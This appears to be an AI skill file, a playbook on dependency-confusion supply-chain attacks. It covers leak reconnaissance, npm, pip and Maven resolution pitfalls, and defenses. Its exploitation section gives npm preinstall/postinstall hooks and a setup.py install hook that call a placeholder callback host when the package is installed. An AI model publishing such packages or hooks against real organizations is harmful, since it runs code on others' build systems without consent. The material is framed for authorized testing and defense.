dependency-confusion
SKILL: Dependency Confusion — Supply Chain Attack Playbook
AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
0. QUICK START
What to look for first
- Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
- Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
- Lockfiles missing, stale, or not enforced in CI so
install/buildcan drift toward public metadata.
Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.
中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照 recon-for-sec 把内部包名与公开注册表可对齐性列成清单。
1. CORE CONCEPT
- Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like
@org-scope/internal-utilsor an unscoped name such asacme-billing-sdk. - Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
- Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public
9.9.9can beat a private1.2.3if ranges allow. - Execution: Package managers run lifecycle scripts (npm
preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.
This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.
2. AFFECTED ECOSYSTEMS
| Ecosystem | Typical manifest | Confusion angle |
|---|---|---|
| npm | package.json |
Scoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk. |
| pip | requirements.txt, pyproject.toml, setup.py |
pip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name. |
| RubyGems | Gemfile |
source order and additional sources; ambiguous gem names reachable from rubygems.org. |
| Maven | pom.xml |
Repository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows. |
| Composer | composer.json |
Packagist is default; private packages without repositories/canonical discipline may collide with public names. |
| Docker | FROM, image tags |
Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images. |
3. RECONNAISSANCE
Where internal names leak
- Committed
package.json,requirements.txt,Gemfile,pom.xml,composer.jsonin repos or forks. - JavaScript source maps, bundled assets, or error stack traces referencing package paths.
.npmrc,.pypirc, CI logs showing install URLs or mirror endpoints.- Issue trackers, gist snippets, and dependency graphs from SBOM exports.
Check public squatting / claimability (read-only)
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。
4. EXPLOITATION
Authorized testing pattern
- Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
- Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g.
^1.0.0→ publish9.9.9). - Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.
npm package.json — minimal callback-style PoC (illustrative)
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — shell + curl fallback (illustrative)
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — setup hook pattern (illustrative; use only in authorized lab packages)
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.
5. TOOLS
| Tool | Role |
|---|---|
| visma-prodsec/confused | Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem). |
| synacktiv/DepFuzzer | Automated dependency confusion testing workflows (use strictly in-scope). |
Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.
6. DEFENSE
- npm: Prefer scoped packages (
@org-scope/pkg) with org-owned scopes; set.npmrcso private scopes map to private registry and defaultregistryis not accidentally public for internal names. - Pinning: Exact versions + lockfiles (
package-lock.json,poetry.lock,Gemfile.lock,composer.lock) enforced in CI. - pip: Avoid careless
--extra-index-url; prefer single private index with mirroring, or explicit--index-urlpolicies in CI. - Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
- Composer: Use
repositorieswithcanonical: truefor private packages; verify Packagist is not introducing unexpected vendors. - Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
- Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.
7. DECISION TREE
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)
Related routing
- From
recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.